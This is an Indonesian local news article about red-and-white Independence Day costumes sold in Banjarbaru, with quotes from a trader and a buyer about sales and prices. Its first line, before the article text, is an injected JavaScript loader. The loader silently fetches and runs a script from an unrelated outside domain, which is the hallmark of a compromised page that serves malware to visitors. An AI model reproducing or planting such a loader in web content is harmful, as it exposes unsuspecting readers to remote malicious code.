(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pakaian bernuansa merah putih menjadi outfit yang diminati warga setiap menyambut perayaan Hari Kemerdekaan Republik Indonesia.
“Outfit” dalam bahasa Indonesia berarti seperangkat pakaian dan aksesoris yang dikenakan seseorang untuk menciptakan penampilan tertentu. Istilah ini merujuk pada keseluruhan gaya berpakaian, termasuk pakaian atasan, bawahan, sepatu, tas, perhiasan, dan aksesoris lainnya yang dipadupadankan secara bersamaan.
Kebanyakan saat peringatan Hari Kemerdekaan, outfit merah putih dikenakan saat lomba 17-an yang digelar saat atau sesudah 17 Agustus.
Baca juga: Koruptor E-KTP Setya Novanto Bebas Bersyarat, Eks Penyidik KPK: Negara Gagal, Tak Ada Efek Jera
Antusias warga mengenakan kostum merah putih saat lomba 17-an. Foto: wanda
Di setiap sudut titik wilayah yang menyelenggarakan lomba 17-an serentak warga mengenakan kostum merah putih.
Ternyata dari tahun ke tahun pedagang kostum merah putih kian membludak, dari yang sebelumnya hampir tidak ada yang menjualnya.
Hal itu diakui Edo, salah satu pedagang kostum merah putih di Pasar Ulin Raya, Landasan Ulin, Kota Banjarbaru. “Yang berjualan baju juga banyak. Dulu tidak banyak yang menjual,” ujar Edo, pedagang Pasar Ulin Raya.
Sejak awal berjualan ia mengaku setia menjajakan kostum merah putih sebagai pernak pernik kemerdekaan.
Baca juga: 3.556 Napi di Kalteng Dapat Remisi, Termasuk 50 Koruptor
Tahun lalu saja, omzet Edo bisa menyentuh di angka Rp2 juta hingga Rp5 juta per hari untuk menjual kostum merah putih ini saja.
“Kita tetap setia menjajakan kostum kemerdekaan setiap bulan Agustus,” ungkap dia.
Saat menjelang 17 Agustus tahun ini, Edo mengaku pembeli sedikit berkurang. Tahun ini pendapatannya cenderung datar.
Baca juga: Sukses Laksanakan Tugas, Bupati Banjar Apresiasi Paskibraka Kabupaten Banjar
“Tahun ini sekitar Rp1 juta per hari, berkurangnya karena banyak yang menjual,” imbuhnya.
Salah satu pembeli, Salbiah warga Landasan Ulin, mengaku membeli kostum merah putih ini untuk dikenakan saat lomba 17-an dan gerak jalan di kampungnys.
“Saya beli baju ini untuk cucu, karena sekolahnya ada lomba kemerdekaan. Kemudian di kampung kegiatan gerak jalan juga dipakai,” aku Salbiah.
Berbagai ukuran kostum tersedia, dari anak-anak hingga dewasa. Untuk harganya pun diakui Salbiah terjangkau, mulai dari Rp40 ribu hingga ratusan ribu rupiah per set. “Harganya Rp40 ribu sedang saja, tidak mahal,” tutup Salbiah. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
This website uses cookies.